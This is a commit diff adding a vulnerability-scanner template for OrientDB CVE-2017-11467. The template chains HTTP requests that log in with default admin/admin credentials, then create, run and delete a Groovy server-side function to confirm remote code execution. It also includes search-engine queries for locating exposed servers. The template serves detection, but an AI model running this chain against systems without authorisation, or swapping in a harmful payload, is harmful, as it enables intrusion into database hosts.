CVE-2017-11467 - OrientDB =< 2.2.22 - Remote Code Execution

2026-11-13 05:42:08 -10:00 · 2026-11-13 20:09:03 +05:30
1 changed files with 105 additions and 0 deletions
@@ -0,0 +1,105 @@
+id: CVE-2017-11467
+
+info:
+  name: OrientDB =< 2.2.22 - Remote Code Execution
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    OrientDB through 2.2.22 does not enforce privilege requirements during where/fetchplan/order-by use (CVE-2017-11467, CWE-269), letting a user with the default database credentials (admin/admin) create and execute an unsandboxed server-side Groovy function through the HTTP API (port 2480). The Groovy function runs arbitrary JVM code - and OS commands via Runtime/ProcessBuilder - achieving remote code execution. This template lists a database, creates a Groovy function that computes md5(<nonce>), triggers it, confirms code execution when the nonce's md5 is returned, and deletes the function. The payload is pure-JVM (no OS command), so it works on both Windows and Linux.
+  impact: |
+    A remote attacker with default OrientDB credentials runs arbitrary JVM and OS commands on the database host, fully compromising it.
+  remediation: |
+    Upgrade to OrientDB 2.2.23 or later, change the default admin/admin (and reader/writer) credentials, and restrict access to the HTTP (2480) and binary (2424) ports.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11467
+    - https://ssd-disclosure.com/ssd-advisory-orientdb-code-execution/
+    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/orientdb_exec.rb
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-11467
+    cwe-id: CWE-269
+  metadata:
+    verified: true
+    max-request: 4
+    shodan-query: product:"OrientDB"
+    fofa-query: app="OrientDB"
+  tags: cve,cve2017,orientdb,rce,groovy,intrusive,kev,vkev
+
+variables:
+  num: "{{rand_int(10000000, 99999999)}}"
+  fname: "{{to_lower(rand_text_alpha(8))}}"
+
+flow: http(1) && http(2) && http(3) && http(4)
+
+http:
+  - raw:
+      - |
+        GET /listDatabases HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46YWRtaW4=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, 'databases')"
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: db
+        internal: true
+        part: body
+        group: 1
+        regex:
+          - '"databases":\["([^"]+)"'
+
+  - raw:
+      - |
+        POST /document/{{db}}/-1:-1 HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46YWRtaW4=
+        Content-Type: application/json;charset=UTF-8
+
+        {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"{{fname}}","language":"groovy","code":"return java.security.MessageDigest.getInstance('MD5').digest('{{num}}'.getBytes()).encodeHex().toString();","parameters":null}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 201"
+        internal: true
+
+    extractors:
+      - type: regex
+        name: rid
+        internal: true
+        part: body
+        group: 1
+        regex:
+          - '"@rid":"#([0-9]+:[0-9]+)"'
+
+  - raw:
+      - |
+        POST /function/{{db}}/{{fname}} HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46YWRtaW4=
+        Content-Type: application/json
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body, md5(num))"
+
+  - raw:
+      - |
+        DELETE /document/{{db}}/{{rid}} HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46YWRtaW4=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code >= 100"
+        internal: true